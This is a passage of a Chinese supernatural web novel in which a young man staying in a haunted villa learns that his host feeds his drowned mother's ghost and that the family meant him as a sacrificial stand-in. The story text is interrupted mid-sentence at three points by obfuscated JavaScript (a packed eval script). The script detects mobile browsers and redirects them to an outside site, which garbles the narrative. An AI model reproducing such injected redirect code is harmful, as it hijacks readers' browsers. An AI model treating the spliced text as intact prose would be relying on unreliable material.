“小少爷五岁那年,大少爷因为他不小心触碰到他的衣角,踹了小少爷一脚,当时老爷正巧出差回来,看到小少爷跌坐在地上,不问对错就把人扔进了储物间。” “夜里十二点,我听到楼上有动静,但我没多想。大约过了半小时,早就睡下的老爷突然大喊大叫,我和管家跑上去时,他斜躺在地上,双手捂着胸口……” 李株:“心脏病发作了?” “不算发作,是突发的心梗,在这之前他半年就做一次全面检查,身体一直很好。”陈姨舔了下嘴唇,转眸看了眼黑乎乎的窗外,“他当时嘴里一直喊着「走开,别过来,走开」,事后管家问他房间里到底发生了什么,老爷不肯说。” “但他把事情归结到了小少爷身上,说小少爷是丧门星,是会招来厄运的灾星,就把人……把人扔去了福利院……” “什么?!”李株咬牙切齿,“骂他是畜生都侮辱了畜生,那就是个渣滓。” 高从霭的童年太惨了。 如果换了其他人,早忍不住拉着全家一起死了吧。 李株心头酸软,想冲上楼把人拉进怀里狠狠抱一抱。 就连那一条条偏执又怪异的碎碎念,也变得不那么扭曲可怕了。 “虎毒不食子,他连畜生都不如。”陈姨憋了多年的话,终于说出来了,心头畅快不少。 她继续道:“小少爷走后,情况没有好转,每天夜里老爷都会大喊大叫,很快就命人把他的私人物品搬去了另一处住宅。可住了才两天就又搬回来,还把小少爷从福利院请回家,对他的态度大转变。命人送小少爷去上学,安排司机,只要大少爷敢对小少爷发脾气,就会遭到一顿毒打。” “之后我也不知道具体发生了什么,大少爷的态度也变了,虽然忍不住的时候也会口头骂几句,却不敢再动他,我当时还以为,他愿意接纳这个弟弟了。” 陈姨苦笑,眼睛看向四周,“现在想,他们是碍于……碍于梁小姐吧。” 李株:“姨,你不怕了吗。” 陈姨这才意识到,不知从何时起情绪放松下来。 颤抖的手也不抖了。 李株指尖碰过一个个玻璃杯,让它们退到一条直线上,“你其实一直很清楚,这栋别墅不干净。” “是我自欺欺人了。”陈姨垂下眼。 李株想起什么,“对了,之前的管家去哪里了?” “退休了。”陈姨揉了揉红肿的眼睛,“我来高家的时候,他就已经七十岁了。” 李株问:“能找到他吗?” “你想干什么?”陈姨紧张地抓住李株的胳膊,“年轻人,听我一句劝,高家不对劲咱们以后不来就是,可千万别自找麻烦。” “姨你放心,我就是随便问问。”李株咧嘴一笑,拧开水龙头冲洗双手。 陈姨紧紧盯着他,“我不信。” “姨,可以的话,还是尽快离开吧。”李株看向身后,与厨房相通的饭厅空荡荡的,“小高先生跟我说过,家里很吵,吵得他头疼,越来越吵……” 陈姨脸色惨白,小少爷之前也劝她离开。 房子里就三个大活人。 大少爷如无必要,不会对她开口说话,小少爷成天把自己锁在房间。 到底是谁在吵,吵什么,不用猜也知道。 25.大哥,收手吧 一只只玻璃杯被擦拭干净,整齐摆在台面上。 陈姨离开的时候精神恍惚,李株跟在她身后离开厨房,穿过饭厅时又听到水声。 和之前高从俞晃红酒杯时听到的很像。 “陈姨,你听到了吗?”李株道。 陈姨正准备开口,就听到不知从哪儿传来的,细微的哗啦声。 “我什么也没听到,夜深了,早点回房间休息吧。”说完便匆忙离开了。 李株扫向四周,正想是不是厨房水龙头没关,听到有人叫自己。 “徐晓哲。” 高从霭站在饭厅门口,两手插在兜里静静看着他。 这是一种警告。 这念头出现得毫无征兆,李株却懂了——她在。 “来了来了。”李株嘟囔着跑过去,后背就像贴着一块冰,森森寒意穿透皮肤,往骨头里渗。 他抓住高从霭的胳膊汲取温暖,“走,上楼。” 高从霭垂眸,夏天经常晒太阳的缘故,青年的皮肤呈现出健康的小麦色。手指修长,指甲修剪平整,泛着微微粉色。 他又想起握手时,自己的手将对方的手牢牢包裹的感觉。 高从霭掰开李株的手,用右手握住。 李株挣扎几下发现挣脱不开,无奈道:“你又怎么了?” “没怎么。”高从霭牵着人往楼上去。 李株问系统要数据。 【情绪值+50,牵起来好舒服,可以裹得紧紧的】 很奇怪的描述,但李株一下子就懂了。 牵个手而已,不至于。 而且你真的不觉得,两个大男人手牵手很奇怪吗?! “马上就到了,可以把手松开了吗。”李株被一路带上二楼,高从霭不肯松手。 他面向客卧房门,眼神显得空洞,“你确定要一个人住这间?” 李株死鸭子嘴硬,“那是当然。” 他上次住的时候,梁小姐没有害他,这一次应该也不会吧? 高从霭忽然没了反应,每一次呼吸拉长,仿佛在屏气凝神地听。 李株被他搞得心跳加快,晃了晃他的手,“高从霭,你怎么了?” 高从霭神经兮兮地说:“你听。” 李株的感知被他牵着走,下意识地捕捉四周声响。 “呜呜呜……呜呜……” “呜呜呜呜……” 是哭声。 李株双脚灌了铅一样沉重,无法挪动。 不知从哪来的冷风,贴着他的脚踝往里钻,沿着背脊往四肢扩散。 高从霭与他的状态截然不同,男人语气轻松,带着几分抱怨,“她又开始吵了。” 李株什么也不敢说,高从霭松开他的手,转身推开自己的房间,走了进去。 关门的那一瞬间,李株透过门缝,看到他笑了一下。 变态! 哭声消失了,走廊很明亮,却又每个边角都被阴暗填满。 李株犹豫了。 往前,是梁小姐的房间。 往后……说不定梁小姐就在身后。 算了,反正伸头缩头都要挨一刀,躺在床上挨总比站着挨刀子轻松点。 李株深吸口气,拧开门把。 按下开关,吊灯照亮了屋子里的一切。 丝绸床品反射出亮光,敞开的窗户吹进夜风,窗帘晃动,周围的浅色家具却像加了一层滤镜。 ……变得陈旧。 李株告诉自己,一定是因为心境变了,才会认为这些东西也变了。 他看了眼没有灯光的独立卫生间。 黑暗从门内爬出来,像一只张开的大嘴巴。 李株不敢去洗漱,直接上床。 怕清早起来又会看到鞋子凌乱的样子,他索性不脱了,也没盖被子,直接躺在床笠上。 365:“没出息。” “你有出息,你来住一住试试。”李株反驳。 365:“我就算住也不怕,鬼不过是另一种能量的存在形式,没什么大不了。” “有道理。”李株丧丧的说,“可我就是害怕,怎么办。” 365想了想:“小推车里的饮料不知道对你有没有用。” 李株拍床坐起来,怎么把这茬给忘了! 连忙让系统打开小推车,顶部左上角显示宿主当前正向总值。 【正向总值:98】 大部分来自孤儿院的小朋友。 李株伸手点了点两个数字,感叹:“还是小朋友最可爱。” 他视线下移,停在一排饮料上。 饮料瓶子的颜色分别是红、黄、蓝三种。 【红瓶:杀气倍增,看什么都想踹一脚】 【黄瓶:你情绪归零,看什么都一个样】 【蓝瓶:生出无限的勇气,敢于挑战一切】 李株:“……” 他揉了揉额角,“兄弟,我一个都不想选怎么办。” 每一个看上去都和高从霭的属性差不多——神经。 365:“哦,那我关掉。” “等等!”李株喊道,视线在三种饮料上转来转去。 挑了老半天,他选了黄的。 红色和蓝色喝完情绪太过高涨,容易坏事。他现在需要的是冷静,情绪归零就不怕鬼了。 李株看了眼价格,大手一挥,豪掷88积分。 黄色饮料瓶凌空坠落,砸在他头上。 李株哎呦一声,怀着怨念的心情,拧开瓶子一口气全喝了。 与喝了矿泉水,心静如水的内在和谐不同。 李株感觉自己成了一块冰,一块铁,成了开启了心理防御机制的机器人。 365:“恭喜进化成功。” 李株语气平平,“功效持续多久。” “24小时,可助你平安度过今夜。” “嗯。” 隔壁房间,高从霭倚在沙发上,指尖停在手机屏幕上轻轻摩擦。 是隔壁房间的监控。 监控是昨天猜到高从俞的意图后,他亲自买来装上的,本意是想关注青年的安全。 只见青年不知从哪里弄来一瓶饮料,喝完后躺地平平整整,如同一具冰冷的尸体。 高从霭皱眉,放大画面。 青年的胸膛起伏着,睫毛轻微颤抖,证明人好好的。 高从霭单手撑着鬓角,身子歪斜,目光从李株的脸庞一路往下,黏在他的脖颈上。 他低下头看着自己的手,那么细,单手就能抓住吧。 真好。 高从霭低低笑着,懒洋洋的摆正姿势,将手机上的画面投到对面白墙上。 小小的脸瞬间铺满整面墙壁。 高从霭走过去,仰头看着李株紧闭的眼睛。 突然,青年睁开眼,直直盯着上方。 明知对方看不到藏在隐蔽处的监控,高从霭仍旧无法抑制的激动,掌心贴上冰冷的墙面,仿佛能感觉到对方睫毛扫过自己掌心的触感。 他呼吸猛地一沉,变得急促。 高从霭发现,比起被青年触碰,他更渴望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394446|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触碰他。 感知青年身体微小的变化,感知那灵动的注视,感知他笑的时候,嘴唇张开的弧度。 呼吸粗重,高从霭将额头贴上青年的嘴唇位置。 冰凉、坚硬,肯定不如晓哲本人的软。 高从霭失望的重新站直,垂在侧面的手指轻轻击打腿侧,“晓哲为什么不害怕,为什么还不来找我……” 自言自语盘旋在房间里。 “他今晚会来找我吗?一定会吧,晓哲胆子那么小,一定会来。” —— 天花板上不知何时出现了一圈圈像水一样的波纹。 李株面无表情,换做正常时候,他一定已经吓得鲤鱼打挺,冲出门了。 那圈波纹从中往旁边四周扩散,让人想起有东西想要冲破湖面的场景。 窗帘被吹得猎猎作响,李株看到有黑色的头发,从“波纹”中心垂下来,朝他的方向靠近。 啪嗒一声,一滴水珠砸到脸上。 带着腐烂、泥浆、湖水等气味混合而成的腥臭味,盈满他的鼻腔。 与头发相连的是一张泡成了僵白,浮肿的脸,她的眼睛没有眼白,纯黑色的眼珠占据全部眼眶。 李株看着她从天花板上落下来,面朝着他漂浮在上方。 头发落到他脸上,像水草黏住他。 李株心里没有恐惧,面容更是铁板一块,没有任何破绽。 女鬼盯着他看了会儿,调转方向,站到地板上,又悄无声息地穿过房门。 李株连忙下床,拧开门把的同时,隔壁的房门也开了。 高从霭站在门口问他:“害怕吗?” 李株眼神很冷,脸色更冷,“不怕。” “你看到她了。”高从霭来到青年面前,眼神笃定。 “啊。”李株说,“看到了。” 高从霭敏锐的发现青年不大对劲。 周身竖起看不见的铜墙铁壁,将自己保护地密不透风。 “你怎么了?”高从霭碰碰李株的脸,对方没有躲开。 又碰他的鼻尖,仍旧不躲开。 高从霭舔了下嘴唇,将手指压在李株嘴唇上,见青年一动不动,他略微施力揉了揉。 和想象中一样软。 李株心里我曹,面上冷静地问:“你在做什么?” “看到你还问。”高从霭恋恋不舍的收起手指,背到身后忍不住又捻了捻,温热的触感还在。 他忽然有些口干舌燥,喉结上下攒动。 李株转身就走,跟着地上湿漉漉的脚印来到楼下。 女鬼张开双臂,正在空荡的大厅中散步。 落地窗外的花园路灯照进来,依稀可辨别出她的面部轮廓与身形,反而削弱恐怖感。 高从霭越发觉得青年不对劲,他不但不害怕,反而紧紧跟在妈妈身后。 跟着走了两圈后,李株发现女鬼的行动有固定轨迹。 比如当她往左边转弯时,身子会刻意往外侧倾斜,就好像那里摆着一件看不见的东西。 李株对高从霭勾勾手指,待人靠近问道:“大厅以前的摆设和现在不同?” “我的晓哲果然很聪明。”高从霭觑着李株的侧脸,试探性的,微微屈腿放下身姿,将脑袋靠在他肩头。 李株内心深处想把人推开,可惜不能。 他变成了一根木头,肢体被另一股力量操控,任凭高从霭得寸进尺,用那颗毛茸茸的脑袋顶他的颈侧。 李株:“……” 疑似被做局,黄色饮料到底方便了谁。 26.大哥,收手吧 青年的脸布满冰霜,眼神无波。 别扭的姿势没有维持多久,高从霭就重新站直,用审视的目光看着对方。 李株的心已经冷到连人设都演不了了,声调没有起伏,“她刚刚绕过的地方,之前放的什么?” “一块红木雕的镂空屏风,之前还在的时候,她总喜欢在客厅里观赏。” 后来屏风搬走了,这个习惯却延续下来。 “你喊她她能听到吗?”李株问。 “能,但不会回应。”高从霭出神地喃喃,“我叫过她很多次,偶尔她的头会朝我的方向偏。” “梁小姐。”喊出声的时候,李株由衷佩服自己。 梁小姐恍若未闻,光着脚从原来屏风的位置来到沙发附近,弯下腰,像在嗅闻一株不存在的花。 她仿佛在做无实物表演,捏着“剪刀”精心修剪花枝,面庞在黑暗的修饰下变得恬静。 这一幕放在任何一个人眼里,绝对是惊悚的。 可高从霭却连眉毛都没动一下,他看了太多太多遍,早已麻木。 李株:“你第一次见到她是什么时候?” “三岁多吧。”高从霭笑了下,贴着李株的耳朵,故意吓唬他,“她拎着我学走路,咯噔、咯噔、咯噔,穿着最爱的一双白色高跟鞋……她根本不知道自己死了。” 见青年没有被吓到,高从霭撇了撇嘴,“你真的不怕?” 李株:“不怕。” 高从霭沉默了,还好没有在房间傻等青年求助。 李株如今铜墙铁壁,只想快点搞清真相,“她那时候是什么样子?” “活着的样子。” 那时候的高从霭太小,不知道死亡意味着什么。 当看到淹死的母亲又变回从前那般漂亮美好,他不可能无动于衷,一定有所反应。 李株:“你做了什么?” “给她拿了很多吃的。”高从霭勾起唇角,眼底闪过一丝狡黠,“我还做了其他事,你想知道吗?” 李株知道肯定有条件,抱臂看他,“需要我拿什么交换?” 高从霭:“我想再碰一碰你的嘴唇。” “不可以!”李株反对。 高从霭垂下眼,两边嘴角往下压,受了天大的委屈。 李株化身严肃的教导主任,“好朋友之间要互帮互助,如果什么都要谈条件,那不是好朋友,那叫利益伙伴。” 高从霭看过太多丑恶的嘴脸,这些人与高家有利益交换的时候笑脸相向,一但触及利益损害立刻翻脸,甚至选择与高家的敌对合作。 他不希望和青年的关系变成这样。 虽然不太情愿,但高从霭还是做了让步,“跟我来。” 李株:“统哥,我知道该怎么对付小高同志了。” 365:“嗯?” “训狗,我不是说他真的是狗。”李株道,“给他想要的,他就会乖乖听话。如果还是不听,那就得好好分析,哪个选择对他更有吸引力,其中一个必定有用。” 对了,偶尔要给点奖励让他安心。 让他知道自己依旧是“主人”的心头好。 想着想着,李株忍不住伸手摸了摸高从霭的脑袋。 柔顺的碎发擦过指尖时很舒服,是给大狗顺毛的手感。 为了方便他摸得顺手,高从霭屈膝半蹲下,漆黑的眼睛朝上看,光点落在其中,显得眼珠湿漉漉的。 李株有亿点被萌到。 高从霭不发疯的时候,好乖啊。 “好了好了,我摸够了。”李株板着脸收回手,示意高从霭继续带路。 高从霭一脸的不满足,“哦。” 李株:“……” 踩过木质的楼梯,两人来到二楼高从霭的房门口,正准备开门,身后响起脚步声。 转瞬,声音就来到他身后。 带着潮气和腥臭的呼吸喷在李株颈侧,是梁小姐。 水从她身上滴落,在地板上形成一滩,流到李株脚下。 他问高从霭:“她跟我们一起进?” 高从霭没出声,侧身让开,梁小姐身形一闪便被门内的黑暗吞没,没了踪影。 李株打开墙上的电灯开关,屋子比隔壁客房大,除了独立卫生间,里面还有一扇小门,应该是衣帽间。 高从霭径直走到小门前,李株突然心跳加快。 红色的光线从缝隙泄露出来,焚烧的气味强势的掠过人的呼吸,看清里面的那一刻,李株终于知道,为什么高从霭不害怕了。 梁小姐蹲在黑色木桌上,动作夸张地将碗里的生米往嘴里塞,咀嚼声很大。 她朝门口看了一眼,视线划过李株的脸,呆呆停在高从霭脸上。 就在李株以为她要做什么的时候,梁小姐重新低下头,抓起一根白色蜡烛塞进嘴里。 蜡烛的残渣从嘴角掉落,她像是饿了很久,跳下桌台姿势怪异地趴在上面舔。 少了一根蜡烛的窄小空间一半是黑暗,一半是跳跃的火光,高从霭的脸明明灭灭。 他跨进门内,朝左边拐,那里放着一个小冰箱。 只见他打开冰箱取出一只拔了毛,歪着脖子在滴血的鸡。 高从霭把鸡放到梁女士面前,她停顿一瞬,扔掉蜡烛双手抓起生鸡撕咬。 “第一看到她,她找不到进来的路,是我开的门。”高从霭说着,无声无息地来到李株身边。 他拉着李株的手把玩,声音低沉悠远。 “那时候的妈妈很迷茫,我拉着她的手走进这栋房子,带她回到属于自己的房间。” “她浑身上下湿透了,我找来毛巾,踮起脚给她擦脸上的水。”男人握着李株的手收紧几分,声音越发冷冽,“她的皮肤太脆弱,只用了一点点力气,苍白的皮肤就烂了,露出里面被湖水泡得发白,泛着青的肉。” “腐朽的肉用手抠的时候,能听到令人起鸡皮疙瘩的黏腻声。” “她不知道疼……”高从霭笑了下,“这一点你们很像。” 李株心惊,没想到被他发现了。 也是,这小子手劲大,那次握手后李株手上的指印好一会儿才消。 “后来,每天晚上我都帮她开门,她也开始对我有所回应。” 对小小的高从霭来说,那时候的妈妈只是有点奇怪,样子和普通人不太一样。 她依旧温柔,被弄伤了也不会生气。 会教他走路、唱歌、认字,和画画。 随着时间推移,这些正常现象越来越少,她不厌其烦的一遍遍告诉他:“我好饿,我饿了。” 高从霭就去厨房偷东西给她吃。 那些食物被她塞进嘴里,须臾过后被啃食的部位恢复原状,香喷喷的气味却得恶臭。 不出半天就会生蛆。 每天“上供”结束后的半夜,高从霭会把这些从厨房偷来的食物,悄悄扔去外面垃圾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398902|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桶。 本以为妈妈吃“饱”了,就不会再喊饿,没多久,她越发的不满足,面容也变得狰狞。 有一段时间,高彦和知道了小儿子偷窃,把人锁在房间里闭门思过。 饿肚子的梁小姐便在家里到处找人,有时候静悄悄的光着脚找,有时候是故意踩着高跟鞋,想弄出动静,把高从霭吸引出来。 她时常呼唤高从霭的名字,声音从低到高,从轻柔到尖利。 那天,她的身体穿过木门,终于在角落找到了高从霭。 浮肿的脸皲裂,流出不知名的黄色液体。 高从霭第一次知道了害怕,模糊意识到这个女人不是“妈妈”。 是从湖里爬出来的怪物。 梁小姐用尖利的指甲抓住他的胳膊,不停地说:“我好饿我好饿我好饿……” 高从霭害怕地大喊大叫,挣脱她躲进储藏室的空纸箱里。 他捂着嘴,屏住呼吸,是陈姨出现救了他。 那时候高从霭才发现,原来只有他能看到“妈妈”。 为了躲避怪物的侵扰,他学会了无声无息的走路。不能躲了,便学着用血淋淋的生食,安抚她的情绪。 大约是残留了人的意念,怪物没有再故意吓唬他。 时间长了,高从霭和她达成了某种无言的默契,让家里的人厌恶他,又碍于鬼怪的存在,不得不纵容他。 高从霭享受这种感觉,也苦恼鬼怪日益膨胀的胃口。 近几个月,她的哭声更加凄惨了,面部皮肤被恶臭的水充盈,随时可能破掉。 有好几次,高从霭都看到她的眼珠子从眼眶中脱落,由一根神经牵制住,被两根僵化的手指按回去。 “她的神志很混乱,老爷子就是被她弄进医院的。”高从霭讲述往事的时候,一直在笑,眼底满是仇恨得报的快意。 仿佛已经看到高家陨落和高家人的死状。 “这里的每个人都会遭到报应。”高从霭低低地说,“不过你别怕,我会保护你。” 李株的心凉了半截,万万没想到源头就在眼前。 儿时的高从霭什么也不懂,误把鬼怪当妈妈。 后期的高从霭认识到人鬼有别,选择继续饲养,是因为他早就不把梁女士当成母亲,而是保护自己和折磨高家的工具。 吧唧吧唧,咔嚓咔嚓。 咀嚼生肉和咬碎骨头的声音此起彼伏,李株看着梁小姐血糊糊的嘴,突然明白,高家为什么要他的命了。 高家不缺钱,不缺权,缺的是消灾的办法。 王经理从体力劳动者中做第一步筛选,再以跑腿的名义,把人送到高从俞面前。 高从俞不知用了什么办法,确定原主就是他们需要的消灾工具人。 于是第二天,王经理转账打赏。 因为他们很清楚,按照原主的性格一定会买酒庆祝,被天上的馅儿饼砸中,势必会多喝两杯。 原主第二天慌里慌张醒来,精准的踩中陷阱——在小道上埋下一颗钉子。 造成意外车祸的假象。 令他们没想到的是,人居然没死。 便有了后来高从俞试图与李株发展朋友关系,并想办法留人在别墅住宿。 除了这条命,李株想不出高家能从自己身上得到什么。 他对系统说:“以前总听说替死鬼,他们故意让我住闹鬼的房间,是想让我成为替死鬼,平息梁小姐的怨恨。” 27.大哥,收手吧 从认识高从俞到原主出事,短短几天时间,高家对原主做了详尽的调查。 从性格到日常生活,需要调查的事太多了,除了去孤儿院,高从俞的人一定还从其他地方入手过。 会是谁呢? 郎峰和原主是过命的交情,不会对外人说他哥的是非。 沈萍芳那会儿和原主是死对头,不屑于去了解原主的作息,自然无法向外人透露。 庄恒川沉默寡言,也不像。 李株扩大范围,熟悉他工作时间的,除了合租屋的人,还有合租外的人。 比如门口的小卖部,经常和原主兄弟俩聊天的大叔。 李株给郎峰发了一条消息,让他马上下楼去找小卖部老板问问,看前段时间有没有人打听过他。 郎峰回复迅速:【收到】 郎峰:【哥,你今晚啥时候回来?】 李株这才想起没通知好兄弟,连忙补救:【今晚住高家,不回了,你早点睡,明天给你带好吃的】 郎峰:【哥你太好了,能点单吗?】 李株:【不能】 郎峰:【呜呜呜呜呜呜】 李株:【滚】 高从霭借着身高和角度优势,大大方方地窥屏。 学到了,聊天要留钩子,他之前那样一板一眼,对面问什么就答什么,是聊不下去的。 怪物的咀嚼声近在咫尺,高从霭看了眼继续打字的李株,忽然笑了。 能在这种情况下走神的,全世界只此一个。 李株结束了与好兄弟的对话,将注意力重新放回梁小姐身上。 上好的整鸡上布满牙印,坑坑洼洼,口水流到桌上,她餍足的爬下来,缩到角落里。 “她就这样安静了?”李株不敢相信。 不是说很吵吗。 高从霭意味不明的笑了一下,好戏在后头。 梁小姐的身体蜷缩着,从身体中渗出的水在地上越积越多,沾湿了李株和高从霭的脚底,从衣帽间的门缝流出去。 脚边有东西在蠕动,李株愣了一下,揉了揉眼睛。 没看错,水里有数不清的鱼嘴在翕动。 饶是有黄色饮料起作用,仍旧没能压住他起鸡皮疙瘩的本能反应。 一张张黑色的鱼嘴顺着弥漫到走廊,爬上楼梯,从各个缝隙挤入房间。 李株跑上三楼,如料想的一样,高从俞的房间没能幸免。 “你被咬了。”高从霭忽然开口。 李株顺着他的视线看下去,发现自己的脚踝湿了,一张嘴黏在上面动来动去。 他感觉不到疼,自然没注意到。 高从霭不喜欢别的东西或者人碰他,“手勾着我脖子。” “?”李株没听懂,“几个意思?” 高从霭懒得废话,蹲下身将那张嘴撕下来扔回水里,将人打横抱起。 李株条件反射地抱住他的脖子,后知后觉自己被公主抱了。 好在磕了饮料,他没有任何心理负担,舒舒服服的靠在男人怀里。 高从霭在他耳边“嘘”了一声,腾出一只手打开门走进去。 李株:“你疯了?高从俞在……” 话没说完,就看水顺着床脚爬上去,一部分堂而皇之的包裹住高从俞的脸。 密密麻麻鱼嘴兴奋地啃咬,从他脸上撕下一块块带血的皮肤…… 而高从俞浑然不知,完全睡成了死猪。 李株可以想象出,梁小姐淹死后被鱼群啃噬的场景。 高从霭抱着青年来到窗边,别墅里的水穿过花园流向外界。 李株心里有猜测,嘴上却问:“它们要去哪儿?” “你说呢。”月光下的高从霭垂下眼眸,看着李株道,“她快等不及了。” 等不及什么?自然是报仇。 今夜被啃吃的不只是高从俞,还有住在疗养院的高彦和。 李株被抱回二楼,高从霭每走一步,脚下的水就自动朝四周散开,为他让路。 它们的意识与梁小姐相连。 她不记得这是自己的孩子,却记得不能伤害他。 高从霭没有问李株的意见,把人抱回自己房间。 这里干燥得仿佛另一个世界,水和鱼嘴都不见了。下地后,李株去了衣帽间。 梁小姐也不见了。 余光瞥见一团白花花的东西,李株扭头看过去。 好哇,当着他的面脱衣服。 薄肌包裹着骨骼,随着动作拉扯。很瘦,但瘦得有力量,不是真正意义上的白斩弱鸡。 难怪力气那么大,能单手掐人脖子,将其抵在墙上。 看得出神,李株忘了收回视线,与转身的高从霭对视上。 高从霭看了看自己的腹部,没什么问题,“你在看什么?” “小伙子身材不错。”李株点评完,一脸冷酷道,“你先洗还是我先洗。” “你先吧。”高从霭说,“我去隔壁帮你拿衣服。” “嗯。”李株从他身边经过的时候,又看了一眼。 他做梦都想要这种薄肌! 李株走进卫生间,脱掉衣服站到花洒下。 他闭上眼睛仰头冲洗,手掌推过脸时察觉触感不对。 睁眼一看,几根不属于自己的黑色长发赫然躺在掌心。 圆形花洒的每个出水孔都插着一根头发,李株随意挑选一根朝外拉扯。 细细的发丝仿佛没有尽头,越拉越长。 李株选择放弃,对着花洒说:“梁女士,你是吓不到我。” 浴室门响起敲击声,高从霭声音响起的瞬间头发丝消失,出水孔恢复原样。 仿佛之前的一切,都是李株的幻觉。 听到应答声的高从霭打开门,浴室里的蒸腾的水汽稀薄,一个扫眼便将李株看了个全貌。 两个面无表情的人对视两秒,李株开口,手伸过去:“给我吧。” 他手上全是水,高从霭没给,进去替他将衣服放到架子上。 “你慢慢洗,有需要再叫我。” “哦。”李株收回视线,旁若无人的继续冲洗。 高从霭离开卫生间,背对着磨砂玻璃门抿了下唇,脑子里的画面挥之不去。 青年长期暴露在衣服外的皮肤是健康的小麦色,藏在里面的又是另一幅光景。 他仔细回想,扯开衣服领子看,不一样。 青年的更浅。 高从霭的心脏突然跳得很快,呆呆的用两手捂住胸口,嗓子上下滚动。 浴室里传来水声,大脑随之自动描摹出青年精瘦修长的四肢,十几分钟前,对方还有那双手臂搂过他的脖子。 直到现在,鼻尖依旧萦绕着青年身上的洗衣粉香味。 高从霭呼吸急促,转身走去阳台,外面的空气冷冽,心里的燥热不减。 连续几个深呼吸后,便放任自己沉浸在这陌生的状况和幻想中。 李株洗完澡出来,发现高从霭正在外面乘凉。 他擦着头发靠近,碰了下对方的肩膀。 好烫。 高从霭被惊了一下,猛地回身,黑沉的眼睛泛着红,呼吸也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁小姐报复的是高从俞和高彦和,收拾这些剩下的虾兵下将,就该是他的活儿。 太好了,只要有贡献,上面就没理由不记他的功劳。 退休福利跑不了了。 李株复杂的心绪好了大半,见高从霭出来,他掀开一半被子,心情颇好的拍拍空余床铺。 “上来,难得咱俩能一起睡,需要我给你讲睡前故事吗。” 高从霭发现青年的脸不如之前冷,眼角带着很浅的笑意。 这人总是奇奇怪怪的,很可爱。 高从霭把浴袍扔到一旁,李株警惕:“你干嘛。” “睡觉。”高从霭躺下,示意李株帮自己盖上被子。 李株体内的尴尬之力,快要冲破黄色饮料的束缚了。 一个人住想怎么睡就怎么睡,可他们现在是两个人。 李株不提倡高从霭继续保持之前的睡觉习惯。 高从霭平整的躺在灯光下,见青年不动,便自己伸手扯过被子盖上。 李株:“你这样会不会不好?” “这样很好。”高从霭侧身,一条胳膊枕着脑袋,认真望着青年,“这样睡很舒服,很自由。” 他还劝说李株,“你要不要也试试看?” 李株微笑脸:“谢谢,不要。” 28.大哥,收手吧 床上只有一床被子。 李株警惕地看着高从霭:“不准靠我太近。” 高从霭的床大,身体距离青年有三个拳头,他心里不大高兴,“已经很远了。” 毕竟是借床,不能太过分,李株多提醒一句,“睡觉老实点,手脚不准伸过来。” 一想到热乎乎的胳膊和腿可能搭到自己身上,他就浑身不自在,莫名的脸热。 要是再过分一点,高从霭睡着后直接黏上来,那地方贴到他怎么办! 不能想,越想越热,李株都有点冒汗了。 他两手抓着薄被裹严实,两眼一闭:“睡觉。” 高从霭不出声,也不动,直白的目光停在李株脸上,“可以看着你睡觉,我好开心。” 李株睁开一只眼瞄他,依旧是副死人脸。 看不出哪里开心。 他重新闭上眼睛,坚持不再出声。 高从霭从原本的侧躺,改为撑着下巴观察,青年的睫毛浓黑卷翘,皮肤在灯光下散发着健康的光泽,毛孔很细。 他伸手碰了下李株的脸,很软。 李株都要烦死他了,瞪他,“大哥,我真的困了,能消停吗?” “能。”高从霭收回手,关了灯。 姿势却没变。 李株清晰地感觉到对方尖锐的视线,毫无顾忌地打量着他。 除了这个房间,别墅其余地方皆被水覆盖,鱼嘴挤在其中翕动了一夜。 清晨醒来,陈姨望着镜子里的自己出神。 她浑身刺痛,却找不到任何伤口,四肢如同绑过什么重物,关节酸胀,又沉又软。 “是着凉了吗,怎么这么难受……”她揉着抽痛的额角走出房间,听到一点水声。 以为是昨晚忘了关水龙头,陈姨疾步冲下楼,发现厨房的水龙头好好的。 一定是感冒了,都开始幻听了。 陈姨离开厨房,走到大厅时怔住。 地板上的脚印清晰可见,昨晚上,小少爷又……不,不是小少爷。 经过昨晚和李株的交谈,她没办法再自欺欺人。 这栋别墅就是不正常,闹鬼。 要走吗?可是再熬一熬,就能顺利退休了。 陈姨的丈夫是普通工人,唯一的独子生得晚,才刚大学毕业找到工作。 将来还要买房、买车、娶媳妇,她离不了这份高薪工作。 可她实在害怕。 贴身揣着的手机震动,大腿跟着一阵发麻,陈姨接了起来。 是高从俞。 高从俞声音困倦,俨然昨晚没睡好,“给我端杯温水上来。” “好的,大少爷。”陈姨挂掉电话,手脚麻利的打开饮水机。 即热设备很快就将空杯注满温水。 踏上三楼的走廊,陈姨皱了下眉,余光瞥见走廊尽头的一点亮光。 定睛看去,地板上干干净净什么也没有。就是空气太潮湿,被水泡过似的,有浓重的潮意和霉味。 想起自己的身体状况,陈姨前进的步伐犹豫了。 以前即便发生怪事,她的身体也从没出过问题,这次到底是怎么了? ——越来越吵…… 陈姨脑海中蓦地冒出李株说过的话,狠狠打了个哆嗦。 手机又开始震动,陈姨知道是高从俞在催,加快步伐来到门口。 心里慌乱下她忘了敲门,直接开门进去。 